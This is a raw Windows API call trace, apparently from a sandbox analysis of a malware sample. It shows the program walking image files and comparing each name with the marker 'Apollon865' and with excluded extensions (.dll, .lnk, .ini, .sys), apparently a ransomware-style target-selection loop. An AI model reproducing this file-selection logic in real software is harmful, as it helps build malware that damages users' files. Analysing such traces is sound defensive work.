	[0061.955] lstrcmpiW (lpString1="modern_dot.png", lpString2=".dll") returned 1
	[0061.955] lstrlenW (lpString=".lnk") returned 4
	[0061.955] lstrcmpiW (lpString1="modern_dot.png", lpString2=".lnk") returned 1
	[0061.955] lstrlenW (lpString=".ini") returned 4
	[0061.955] lstrcmpiW (lpString1="modern_dot.png", lpString2=".ini") returned 1
	[0061.955] lstrlenW (lpString=".sys") returned 4
	[0061.955] lstrcmpiW (lpString1="modern_dot.png", lpString2=".sys") returned 1
	[0061.955] lstrlenW (lpString="modern_dot.png") returned 14
	[0061.956] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="modern_h.png" | out: lpString1="modern_h.png") returned="modern_h.png"
	[0061.956] lstrlenW (lpString="modern_h.png") returned 12
	[0061.956] lstrlenW (lpString="Apollon865") returned 10
	[0061.956] lstrcmpiW (lpString1="dern_h.png", lpString2="Apollon865") returned 1
	[0061.956] lstrlenW (lpString=".dll") returned 4
	[0061.956] lstrcmpiW (lpString1="modern_h.png", lpString2=".dll") returned 1
	[0061.956] lstrlenW (lpString=".lnk") returned 4
	[0061.956] lstrcmpiW (lpString1="modern_h.png", lpString2=".lnk") returned 1
	[0061.956] lstrlenW (lpString=".ini") returned 4
	[0061.956] lstrcmpiW (lpString1="modern_h.png", lpString2=".ini") returned 1
	[0061.956] lstrlenW (lpString=".sys") returned 4
	[0061.956] lstrcmpiW (lpString1="modern_h.png", lpString2=".sys") returned 1
	[0061.956] lstrlenW (lpString="modern_h.png") returned 12
	[0061.956] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="modern_m.png" | out: lpString1="modern_m.png") returned="modern_m.png"
	[0061.956] lstrlenW (lpString="modern_m.png") returned 12
	[0061.956] lstrlenW (lpString="Apollon865") returned 10
	[0061.956] lstrcmpiW (lpString1="dern_m.png", lpString2="Apollon865") returned 1
	[0061.956] lstrlenW (lpString=".dll") returned 4
	[0061.956] lstrcmpiW (lpString1="modern_m.png", lpString2=".dll") returned 1
	[0061.956] lstrlenW (lpString=".lnk") returned 4
	[0061.956] lstrcmpiW (lpString1="modern_m.png", lpString2=".lnk") returned 1
	[0061.956] lstrlenW (lpString=".ini") returned 4
	[0061.956] lstrcmpiW (lpString1="modern_m.png", lpString2=".ini") returned 1
	[0061.956] lstrlenW (lpString=".sys") returned 4
	[0061.956] lstrcmpiW (lpString1="modern_m.png", lpString2=".sys") returned 1
	[0061.956] lstrlenW (lpString="modern_m.png") returned 12
	[0061.956] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="modern_s.png" | out: lpString1="modern_s.png") returned="modern_s.png"
	[0061.956] lstrlenW (lpString="modern_s.png") returned 12
	[0061.956] lstrlenW (lpString="Apollon865") returned 10
	[0061.956] lstrcmpiW (lpString1="dern_s.png", lpString2="Apollon865") returned 1
	[0061.957] lstrlenW (lpString=".dll") returned 4
	[0061.957] lstrcmpiW (lpString1="modern_s.png", lpString2=".dll") returned 1
	[0061.957] lstrlenW (lpString=".lnk") returned 4
	[0061.957] lstrcmpiW (lpString1="modern_s.png", lpString2=".lnk") returned 1
	[0061.957] lstrlenW (lpString=".ini") returned 4
	[0061.957] lstrcmpiW (lpString1="modern_s.png", lpString2=".ini") returned 1
	[0061.957] lstrlenW (lpString=".sys") returned 4
	[0061.957] lstrcmpiW (lpString1="modern_s.png", lpString2=".sys") returned 1
	[0061.957] lstrlenW (lpString="modern_s.png") returned 12
	[0061.957] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="modern_settings.png" | out: lpString1="modern_settings.png") returned="modern_settings.png"
	[0061.957] lstrlenW (lpString="modern_settings.png") returned 19
	[0061.957] lstrlenW (lpString="Apollon865") returned 10
	[0061.957] lstrcmpiW (lpString1="ttings.png", lpString2="Apollon865") returned 1
	[0061.957] lstrlenW (lpString=".dll") returned 4
	[0061.957] lstrcmpiW (lpString1="modern_settings.png", lpString2=".dll") returned 1
	[0061.957] lstrlenW (lpString=".lnk") returned 4
	[0061.957] lstrcmpiW (lpString1="modern_settings.png", lpString2=".lnk") returned 1
	[0061.957] lstrlenW (lpString=".ini") returned 4
	[0061.957] lstrcmpiW (lpString1="modern_settings.png", lpString2=".ini") returned 1
	[0061.957] lstrlenW (lpString=".sys") returned 4
	[0061.957] lstrcmpiW (lpString1="modern_settings.png", lpString2=".sys") returned 1
	[0061.957] lstrlenW (lpString="modern_settings.png") returned 19
	[0061.957] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="novelty.png" | out: lpString1="novelty.png") returned="novelty.png"
	[0061.957] lstrlenW (lpString="novelty.png") returned 11
	[0061.957] lstrlenW (lpString="Apollon865") returned 10
	[0061.957] lstrcmpiW (lpString1="ovelty.png", lpString2="Apollon865") returned 1
	[0061.957] lstrlenW (lpString=".dll") returned 4
	[0061.957] lstrcmpiW (lpString1="novelty.png", lpString2=".dll") returned 1
	[0061.957] lstrlenW (lpString=".lnk") returned 4
	[0061.957] lstrcmpiW (lpString1="novelty.png", lpString2=".lnk") returned 1
	[0061.958] lstrlenW (lpString=".ini") returned 4
	[0061.958] lstrcmpiW (lpString1="novelty.png", lpString2=".ini") returned 1
	[0061.958] lstrlenW (lpString=".sys") returned 4
	[0061.958] lstrcmpiW (lpString1="novelty.png", lpString2=".sys") returned 1
	[0061.958] lstrlenW (lpString="novelty.png") returned 11
	[0061.958] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="novelty_dot.png" | out: lpString1="novelty_dot.png") returned="novelty_dot.png"
	[0061.958] lstrlenW (lpString="novelty_dot.png") returned 15
	[0061.958] lstrlenW (lpString="Apollon865") returned 10
	[0061.958] lstrcmpiW (lpString1="ty_dot.png", lpString2="Apollon865") returned 1
	[0061.958] lstrlenW (lpString=".dll") returned 4
	[0061.958] lstrcmpiW (lpString1="novelty_dot.png", lpString2=".dll") returned 1
	[0061.958] lstrlenW (lpString=".lnk") returned 4
	[0061.958] lstrcmpiW (lpString1="novelty_dot.png", lpString2=".lnk") returned 1
	[0061.958] lstrlenW (lpString=".ini") returned 4
	[0061.958] lstrcmpiW (lpString1="novelty_dot.png", lpString2=".ini") returned 1
	[0061.958] lstrlenW (lpString=".sys") returned 4
	[0061.958] lstrcmpiW (lpString1="novelty_dot.png", lpString2=".sys") returned 1
	[0061.958] lstrlenW (lpString="novelty_dot.png") returned 15
	[0061.958] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="novelty_h.png" | out: lpString1="novelty_h.png") returned="novelty_h.png"
	[0061.958] lstrlenW (lpString="novelty_h.png") returned 13
	[0061.958] lstrlenW (lpString="Apollon865") returned 10
	[0061.958] lstrcmpiW (lpString1="elty_h.png", lpString2="Apollon865") returned 1
	[0061.958] lstrlenW (lpString=".dll") returned 4
	[0061.958] lstrcmpiW (lpString1="novelty_h.png", lpString2=".dll") returned 1
	[0061.958] lstrlenW (lpString=".lnk") returned 4
	[0061.958] lstrcmpiW (lpString1="novelty_h.png", lpString2=".lnk") returned 1
	[0061.958] lstrlenW (lpString=".ini") returned 4
	[0061.958] lstrcmpiW (lpString1="novelty_h.png", lpString2=".ini") returned 1
	[0061.958] lstrlenW (lpString=".sys") returned 4
	[0061.958] lstrcmpiW (lpString1="novelty_h.png", lpString2=".sys") returned 1
	[0061.958] lstrlenW (lpString="novelty_h.png") returned 13
	[0061.959] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="novelty_m.png" | out: lpString1="novelty_m.png") returned="novelty_m.png"
	[0061.959] lstrlenW (lpString="novelty_m.png") returned 13
	[0061.959] lstrlenW (lpString="Apollon865") returned 10
	[0061.959] lstrcmpiW (lpString1="elty_m.png", lpString2="Apollon865") returned 1
	[0061.959] lstrlenW (lpString=".dll") returned 4
	[0061.959] lstrcmpiW (lpString1="novelty_m.png", lpString2=".dll") returned 1
	[0061.959] lstrlenW (lpString=".lnk") returned 4
	[0061.959] lstrcmpiW (lpString1="novelty_m.png", lpString2=".lnk") returned 1
	[0061.959] lstrlenW (lpString=".ini") returned 4
	[0061.959] lstrcmpiW (lpString1="novelty_m.png", lpString2=".ini") returned 1
	[0061.959] lstrlenW (lpString=".sys") returned 4
	[0061.959] lstrcmpiW (lpString1="novelty_m.png", lpString2=".sys") returned 1
	[0061.959] lstrlenW (lpString="novelty_m.png") returned 13
	[0061.959] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="novelty_s.png" | out: lpString1="novelty_s.png") returned="novelty_s.png"
	[0061.959] lstrlenW (lpString="novelty_s.png") returned 13
	[0061.959] lstrlenW (lpString="Apollon865") returned 10
	[0061.959] lstrcmpiW (lpString1="elty_s.png", lpString2="Apollon865") returned 1
	[0061.959] lstrlenW (lpString=".dll") returned 4
	[0061.959] lstrcmpiW (lpString1="novelty_s.png", lpString2=".dll") returned 1
	[0061.959] lstrlenW (lpString=".lnk") returned 4
	[0061.959] lstrcmpiW (lpString1="novelty_s.png", lpString2=".lnk") returned 1
	[0061.959] lstrlenW (lpString=".ini") returned 4
	[0061.959] lstrcmpiW (lpString1="novelty_s.png", lpString2=".ini") returned 1
	[0061.959] lstrlenW (lpString=".sys") returned 4
	[0061.959] lstrcmpiW (lpString1="novelty_s.png", lpString2=".sys") returned 1
	[0061.959] lstrlenW (lpString="novelty_s.png") returned 13
	[0061.959] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="novelty_settings.png" | out: lpString1="novelty_settings.png") returned="novelty_settings.png"
	[0061.959] lstrlenW (lpString="novelty_settings.png") returned 20
	[0061.959] lstrlenW (lpString="Apollon865") returned 10
	[0061.959] lstrcmpiW (lpString1="ttings.png", lpString2="Apollon865") returned 1
	[0061.960] lstrlenW (lpString=".dll") returned 4
	[0061.960] lstrcmpiW (lpString1="novelty_settings.png", lpString2=".dll") returned 1
	[0061.960] lstrlenW (lpString=".lnk") returned 4
	[0061.960] lstrcmpiW (lpString1="novelty_settings.png", lpString2=".lnk") returned 1
	[0061.960] lstrlenW (lpString=".ini") returned 4
	[0061.960] lstrcmpiW (lpString1="novelty_settings.png", lpString2=".ini") returned 1
	[0061.960] lstrlenW (lpString=".sys") returned 4
	[0061.960] lstrcmpiW (lpString1="novelty_settings.png", lpString2=".sys") returned 1
	[0061.960] lstrlenW (lpString="novelty_settings.png") returned 20
	[0061.963] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="settings_box_bottom.png" | out: lpString1="settings_box_bottom.png") returned="settings_box_bottom.png"
	[0061.963] lstrlenW (lpString="settings_box_bottom.png") returned 23
	[0061.963] lstrlenW (lpString="Apollon865") returned 10
	[0061.963] lstrcmpiW (lpString1="bottom.png", lpString2="Apollon865") returned 1
	[0061.963] lstrlenW (lpString=".dll") returned 4
	[0061.963] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2=".dll") returned 1
	[0061.963] lstrlenW (lpString=".lnk") returned 4
	[0061.963] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2=".lnk") returned 1
	[0061.963] lstrlenW (lpString=".ini") returned 4
	[0061.963] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2=".ini") returned 1
	[0061.963] lstrlenW (lpString=".sys") returned 4
	[0061.963] lstrcmpiW (lpString1="settings_box_bottom.png", lpString2=".sys") returned 1
	[0061.964] lstrlenW (lpString="settings_box_bottom.png") returned 23
	[0061.964] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="settings_box_divider_left.png" | out: lpString1="settings_box_divider_left.png") returned="settings_box_divider_left.png"
	[0061.964] lstrlenW (lpString="settings_box_divider_left.png") returned 29
	[0061.964] lstrlenW (lpString="Apollon865") returned 10
	[0061.964] lstrcmpiW (lpString1="r_left.png", lpString2="Apollon865") returned 1
	[0061.964] lstrlenW (lpString=".dll") returned 4
	[0061.964] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2=".dll") returned 1
	[0061.964] lstrlenW (lpString=".lnk") returned 4
	[0061.964] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2=".lnk") returned 1
	[0061.964] lstrlenW (lpString=".ini") returned 4
	[0061.964] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2=".ini") returned 1
	[0061.964] lstrlenW (lpString=".sys") returned 4
	[0061.964] lstrcmpiW (lpString1="settings_box_divider_left.png", lpString2=".sys") returned 1
	[0061.964] lstrlenW (lpString="settings_box_divider_left.png") returned 29
	[0061.964] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="settings_box_divider_right.png" | out: lpString1="settings_box_divider_right.png") returned="settings_box_divider_right.png"
	[0061.964] lstrlenW (lpString="settings_box_divider_right.png") returned 30
	[0061.964] lstrlenW (lpString="Apollon865") returned 10
	[0061.964] lstrcmpiW (lpString1="_right.png", lpString2="Apollon865") returned -1
	[0061.964] lstrlenW (lpString=".dll") returned 4
	[0061.964] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2=".dll") returned 1
	[0061.964] lstrlenW (lpString=".lnk") returned 4
	[0061.964] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2=".lnk") returned 1
	[0061.964] lstrlenW (lpString=".ini") returned 4
	[0061.964] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2=".ini") returned 1
	[0061.964] lstrlenW (lpString=".sys") returned 4
	[0061.964] lstrcmpiW (lpString1="settings_box_divider_right.png", lpString2=".sys") returned 1
	[0061.964] lstrlenW (lpString="settings_box_divider_right.png") returned 30
	[0061.964] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="settings_box_left.png" | out: lpString1="settings_box_left.png") returned="settings_box_left.png"
	[0061.965] lstrlenW (lpString="settings_box_left.png") returned 21
	[0061.965] lstrlenW (lpString="Apollon865") returned 10
	[0061.965] lstrcmpiW (lpString1="x_left.png", lpString2="Apollon865") returned 1
	[0061.965] lstrlenW (lpString=".dll") returned 4
	[0061.965] lstrcmpiW (lpString1="settings_box_left.png", lpString2=".dll") returned 1
	[0061.965] lstrlenW (lpString=".lnk") returned 4
	[0061.965] lstrcmpiW (lpString1="settings_box_left.png", lpString2=".lnk") returned 1
	[0061.965] lstrlenW (lpString=".ini") returned 4
	[0061.965] lstrcmpiW (lpString1="settings_box_left.png", lpString2=".ini") returned 1
	[0061.965] lstrlenW (lpString=".sys") returned 4
	[0061.965] lstrcmpiW (lpString1="settings_box_left.png", lpString2=".sys") returned 1
	[0061.965] lstrlenW (lpString="settings_box_left.png") returned 21
	[0061.965] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="settings_box_right.png" | out: lpString1="settings_box_right.png") returned="settings_box_right.png"
	[0061.965] lstrlenW (lpString="settings_box_right.png") returned 22
	[0061.965] lstrlenW (lpString="Apollon865") returned 10
	[0061.965] lstrcmpiW (lpString1="_right.png", lpString2="Apollon865") returned -1
	[0061.965] lstrlenW (lpString=".dll") returned 4
	[0061.965] lstrcmpiW (lpString1="settings_box_right.png", lpString2=".dll") returned 1
	[0061.965] lstrlenW (lpString=".lnk") returned 4
	[0061.965] lstrcmpiW (lpString1="settings_box_right.png", lpString2=".lnk") returned 1
	[0061.965] lstrlenW (lpString=".ini") returned 4
	[0061.965] lstrcmpiW (lpString1="settings_box_right.png", lpString2=".ini") returned 1
	[0061.965] lstrlenW (lpString=".sys") returned 4
	[0061.965] lstrcmpiW (lpString1="settings_box_right.png", lpString2=".sys") returned 1
	[0061.965] lstrlenW (lpString="settings_box_right.png") returned 22
	[0061.965] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="settings_box_top.png" | out: lpString1="settings_box_top.png") returned="settings_box_top.png"
	[0061.965] lstrlenW (lpString="settings_box_top.png") returned 20
	[0061.965] lstrlenW (lpString="Apollon865") returned 10
	[0061.965] lstrcmpiW (lpString1="ox_top.png", lpString2="Apollon865") returned 1
	[0061.966] lstrlenW (lpString=".dll") returned 4
	[0061.966] lstrcmpiW (lpString1="settings_box_top.png", lpString2=".dll") returned 1
	[0061.966] lstrlenW (lpString=".lnk") returned 4
	[0061.966] lstrcmpiW (lpString1="settings_box_top.png", lpString2=".lnk") returned 1
	[0061.966] lstrlenW (lpString=".ini") returned 4
	[0061.966] lstrcmpiW (lpString1="settings_box_top.png", lpString2=".ini") returned 1
	[0061.966] lstrlenW (lpString=".sys") returned 4
	[0061.966] lstrcmpiW (lpString1="settings_box_top.png", lpString2=".sys") returned 1
	[0061.966] lstrlenW (lpString="settings_box_top.png") returned 20
	[0061.966] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="settings_corner_bottom_left.png" | out: lpString1="settings_corner_bottom_left.png") returned="settings_corner_bottom_left.png"
	[0061.966] lstrlenW (lpString="settings_corner_bottom_left.png") returned 31
	[0061.966] lstrlenW (lpString="Apollon865") returned 10
	[0061.966] lstrcmpiW (lpString1="m_left.png", lpString2="Apollon865") returned 1
	[0061.966] lstrlenW (lpString=".dll") returned 4
	[0061.966] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2=".dll") returned 1
	[0061.966] lstrlenW (lpString=".lnk") returned 4
	[0061.966] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2=".lnk") returned 1
	[0061.966] lstrlenW (lpString=".ini") returned 4
	[0061.966] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2=".ini") returned 1
	[0061.966] lstrlenW (lpString=".sys") returned 4
	[0061.966] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2=".sys") returned 1
	[0061.966] lstrlenW (lpString="settings_corner_bottom_left.png") returned 31
	[0061.966] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="settings_corner_bottom_right.png" | out: lpString1="settings_corner_bottom_right.png") returned="settings_corner_bottom_right.png"
	[0061.966] lstrlenW (lpString="settings_corner_bottom_right.png") returned 32
	[0061.966] lstrlenW (lpString="Apollon865") returned 10
	[0061.966] lstrcmpiW (lpString1="_right.png", lpString2="Apollon865") returned -1
	[0061.966] lstrlenW (lpString=".dll") returned 4
	[0061.966] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2=".dll") returned 1
	[0061.966] lstrlenW (lpString=".lnk") returned 4
	[0061.966] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2=".lnk") returned 1
	[0061.966] lstrlenW (lpString=".ini") returned 4
	[0061.967] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2=".ini") returned 1
	[0061.967] lstrlenW (lpString=".sys") returned 4
	[0061.967] lstrcmpiW (lpString1="settings_corner_bottom_right.png", lpString2=".sys") returned 1
	[0061.967] lstrlenW (lpString="settings_corner_bottom_right.png") returned 32
	[0061.967] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="settings_corner_top_left.png" | out: lpString1="settings_corner_top_left.png") returned="settings_corner_top_left.png"
	[0061.967] lstrlenW (lpString="settings_corner_top_left.png") returned 28
	[0061.967] lstrlenW (lpString="Apollon865") returned 10
	[0061.967] lstrcmpiW (lpString1="p_left.png", lpString2="Apollon865") returned 1
	[0061.967] lstrlenW (lpString=".dll") returned 4
	[0061.967] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2=".dll") returned 1
	[0061.967] lstrlenW (lpString=".lnk") returned 4
	[0061.967] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2=".lnk") returned 1
	[0061.967] lstrlenW (lpString=".ini") returned 4
	[0061.967] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2=".ini") returned 1
	[0061.967] lstrlenW (lpString=".sys") returned 4
	[0061.967] lstrcmpiW (lpString1="settings_corner_top_left.png", lpString2=".sys") returned 1
	[0061.967] lstrlenW (lpString="settings_corner_top_left.png") returned 28
	[0061.967] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="settings_corner_top_right.png" | out: lpString1="settings_corner_top_right.png") returned="settings_corner_top_right.png"
	[0061.967] lstrlenW (lpString="settings_corner_top_right.png") returned 29
	[0061.967] lstrlenW (lpString="Apollon865") returned 10
	[0061.967] lstrcmpiW (lpString1="_right.png", lpString2="Apollon865") returned -1
	[0061.967] lstrlenW (lpString=".dll") returned 4
	[0061.967] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2=".dll") returned 1
	[0061.967] lstrlenW (lpString=".lnk") returned 4
	[0061.967] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2=".lnk") returned 1
	[0061.967] lstrlenW (lpString=".ini") returned 4
	[0061.967] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2=".ini") returned 1
	[0061.967] lstrlenW (lpString=".sys") returned 4
	[0061.967] lstrcmpiW (lpString1="settings_corner_top_right.png", lpString2=".sys") returned 1
	[0061.967] lstrlenW (lpString="settings_corner_top_right.png") returned 29
	[0061.968] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="settings_divider.png" | out: lpString1="settings_divider.png") returned="settings_divider.png"
	[0061.968] lstrlenW (lpString="settings_divider.png") returned 20
	[0061.968] lstrlenW (lpString="Apollon865") returned 10
	[0061.968] lstrcmpiW (lpString1="ivider.png", lpString2="Apollon865") returned 1
	[0061.968] lstrlenW (lpString=".dll") returned 4
	[0061.968] lstrcmpiW (lpString1="settings_divider.png", lpString2=".dll") returned 1
	[0061.968] lstrlenW (lpString=".lnk") returned 4
	[0061.968] lstrcmpiW (lpString1="settings_divider.png", lpString2=".lnk") returned 1
	[0061.968] lstrlenW (lpString=".ini") returned 4
	[0061.968] lstrcmpiW (lpString1="settings_divider.png", lpString2=".ini") returned 1
	[0061.968] lstrlenW (lpString=".sys") returned 4
	[0061.968] lstrcmpiW (lpString1="settings_divider.png", lpString2=".sys") returned 1
	[0061.968] lstrlenW (lpString="settings_divider.png") returned 20
	[0061.968] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="settings_divider_left.png" | out: lpString1="settings_divider_left.png") returned="settings_divider_left.png"
	[0061.968] lstrlenW (lpString="settings_divider_left.png") returned 25
	[0061.968] lstrlenW (lpString="Apollon865") returned 10
	[0061.968] lstrcmpiW (lpString1="r_left.png", lpString2="Apollon865") returned 1
	[0061.968] lstrlenW (lpString=".dll") returned 4
	[0061.968] lstrcmpiW (lpString1="settings_divider_left.png", lpString2=".dll") returned 1
	[0061.968] lstrlenW (lpString=".lnk") returned 4
	[0061.968] lstrcmpiW (lpString1="settings_divider_left.png", lpString2=".lnk") returned 1
	[0061.968] lstrlenW (lpString=".ini") returned 4
	[0061.968] lstrcmpiW (lpString1="settings_divider_left.png", lpString2=".ini") returned 1
	[0061.968] lstrlenW (lpString=".sys") returned 4
	[0061.968] lstrcmpiW (lpString1="settings_divider_left.png", lpString2=".sys") returned 1
	[0061.968] lstrlenW (lpString="settings_divider_left.png") returned 25
	[0061.968] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="settings_divider_right.png" | out: lpString1="settings_divider_right.png") returned="settings_divider_right.png"
	[0061.968] lstrlenW (lpString="settings_divider_right.png") returned 26
	[0061.968] lstrlenW (lpString="Apollon865") returned 10
	[0061.968] lstrcmpiW (lpString1="_right.png", lpString2="Apollon865") returned -1
	[0061.968] lstrlenW (lpString=".dll") returned 4
	[0061.969] lstrcmpiW (lpString1="settings_divider_right.png", lpString2=".dll") returned 1
	[0061.969] lstrlenW (lpString=".lnk") returned 4
	[0061.969] lstrcmpiW (lpString1="settings_divider_right.png", lpString2=".lnk") returned 1
	[0061.969] lstrlenW (lpString=".ini") returned 4
	[0061.969] lstrcmpiW (lpString1="settings_divider_right.png", lpString2=".ini") returned 1
	[0061.969] lstrlenW (lpString=".sys") returned 4
	[0061.969] lstrcmpiW (lpString1="settings_divider_right.png", lpString2=".sys") returned 1
	[0061.969] lstrlenW (lpString="settings_divider_right.png") returned 26
	[0061.969] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="settings_left_disabled.png" | out: lpString1="settings_left_disabled.png") returned="settings_left_disabled.png"
	[0061.969] lstrlenW (lpString="settings_left_disabled.png") returned 26
	[0061.969] lstrlenW (lpString="Apollon865") returned 10
	[0061.969] lstrcmpiW (lpString1="sabled.png", lpString2="Apollon865") returned 1
	[0061.969] lstrlenW (lpString=".dll") returned 4
	[0061.969] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2=".dll") returned 1
	[0061.969] lstrlenW (lpString=".lnk") returned 4
	[0061.969] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2=".lnk") returned 1
	[0061.969] lstrlenW (lpString=".ini") returned 4
	[0061.969] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2=".ini") returned 1
	[0061.969] lstrlenW (lpString=".sys") returned 4
	[0061.969] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2=".sys") returned 1
	[0061.969] lstrlenW (lpString="settings_left_disabled.png") returned 26
	[0061.969] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="settings_left_hover.png" | out: lpString1="settings_left_hover.png") returned="settings_left_hover.png"
	[0061.969] lstrlenW (lpString="settings_left_hover.png") returned 23
	[0061.969] lstrlenW (lpString="Apollon865") returned 10
	[0061.969] lstrcmpiW (lpString1="_hover.png", lpString2="Apollon865") returned -1
	[0061.969] lstrlenW (lpString=".dll") returned 4
	[0061.969] lstrcmpiW (lpString1="settings_left_hover.png", lpString2=".dll") returned 1
	[0061.969] lstrlenW (lpString=".lnk") returned 4
	[0061.969] lstrcmpiW (lpString1="settings_left_hover.png", lpString2=".lnk") returned 1
	[0061.969] lstrlenW (lpString=".ini") returned 4
	[0061.970] lstrcmpiW (lpString1="settings_left_hover.png", lpString2=".ini") returned 1
	[0061.970] lstrlenW (lpString=".sys") returned 4
	[0061.970] lstrcmpiW (lpString1="settings_left_hover.png", lpString2=".sys") returned 1
	[0061.970] lstrlenW (lpString="settings_left_hover.png") returned 23
	[0061.970] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="settings_left_pressed.png" | out: lpString1="settings_left_pressed.png") returned="settings_left_pressed.png"
	[0061.970] lstrlenW (lpString="settings_left_pressed.png") returned 25
	[0061.970] lstrlenW (lpString="Apollon865") returned 10
	[0061.970] lstrcmpiW (lpString1="ressed.png", lpString2="Apollon865") returned 1
	[0061.970] lstrlenW (lpString=".dll") returned 4
	[0061.970] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2=".dll") returned 1
	[0061.970] lstrlenW (lpString=".lnk") returned 4
	[0061.970] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2=".lnk") returned 1
	[0061.970] lstrlenW (lpString=".ini") returned 4
	[0061.970] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2=".ini") returned 1
	[0061.970] lstrlenW (lpString=".sys") returned 4
	[0061.970] lstrcmpiW (lpString1="settings_left_pressed.png", lpString2=".sys") returned 1
	[0061.970] lstrlenW (lpString="settings_left_pressed.png") returned 25
	[0061.970] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="settings_left_rest.png" | out: lpString1="settings_left_rest.png") returned="settings_left_rest.png"
	[0061.970] lstrlenW (lpString="settings_left_rest.png") returned 22
	[0061.970] lstrlenW (lpString="Apollon865") returned 10
	[0061.970] lstrcmpiW (lpString1="t_rest.png", lpString2="Apollon865") returned 1
	[0061.970] lstrlenW (lpString=".dll") returned 4
	[0061.970] lstrcmpiW (lpString1="settings_left_rest.png", lpString2=".dll") returned 1
	[0061.970] lstrlenW (lpString=".lnk") returned 4
	[0061.970] lstrcmpiW (lpString1="settings_left_rest.png", lpString2=".lnk") returned 1
	[0061.970] lstrlenW (lpString=".ini") returned 4
	[0061.970] lstrcmpiW (lpString1="settings_left_rest.png", lpString2=".ini") returned 1
	[0061.970] lstrlenW (lpString=".sys") returned 4
	[0061.970] lstrcmpiW (lpString1="settings_left_rest.png", lpString2=".sys") returned 1
	[0061.970] lstrlenW (lpString="settings_left_rest.png") returned 22
	[0061.971] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="settings_right_disabled.png" | out: lpString1="settings_right_disabled.png") returned="settings_right_disabled.png"
	[0061.971] lstrlenW (lpString="settings_right_disabled.png") returned 27
	[0061.971] lstrlenW (lpString="Apollon865") returned 10
	[0061.971] lstrcmpiW (lpString1="sabled.png", lpString2="Apollon865") returned 1
	[0061.971] lstrlenW (lpString=".dll") returned 4
	[0061.971] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2=".dll") returned 1
	[0061.971] lstrlenW (lpString=".lnk") returned 4
	[0061.971] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2=".lnk") returned 1
	[0061.971] lstrlenW (lpString=".ini") returned 4
	[0061.971] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2=".ini") returned 1
	[0061.971] lstrlenW (lpString=".sys") returned 4
	[0061.971] lstrcmpiW (lpString1="settings_right_disabled.png", lpString2=".sys") returned 1
	[0061.971] lstrlenW (lpString="settings_right_disabled.png") returned 27
	[0061.971] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="settings_right_hover.png" | out: lpString1="settings_right_hover.png") returned="settings_right_hover.png"
	[0061.971] lstrlenW (lpString="settings_right_hover.png") returned 24
	[0061.971] lstrlenW (lpString="Apollon865") returned 10
	[0061.971] lstrcmpiW (lpString1="_hover.png", lpString2="Apollon865") returned -1
	[0061.971] lstrlenW (lpString=".dll") returned 4
	[0061.971] lstrcmpiW (lpString1="settings_right_hover.png", lpString2=".dll") returned 1
	[0061.971] lstrlenW (lpString=".lnk") returned 4
	[0061.971] lstrcmpiW (lpString1="settings_right_hover.png", lpString2=".lnk") returned 1
	[0061.971] lstrlenW (lpString=".ini") returned 4
	[0061.971] lstrcmpiW (lpString1="settings_right_hover.png", lpString2=".ini") returned 1
	[0061.971] lstrlenW (lpString=".sys") returned 4
	[0061.971] lstrcmpiW (lpString1="settings_right_hover.png", lpString2=".sys") returned 1
	[0061.971] lstrlenW (lpString="settings_right_hover.png") returned 24
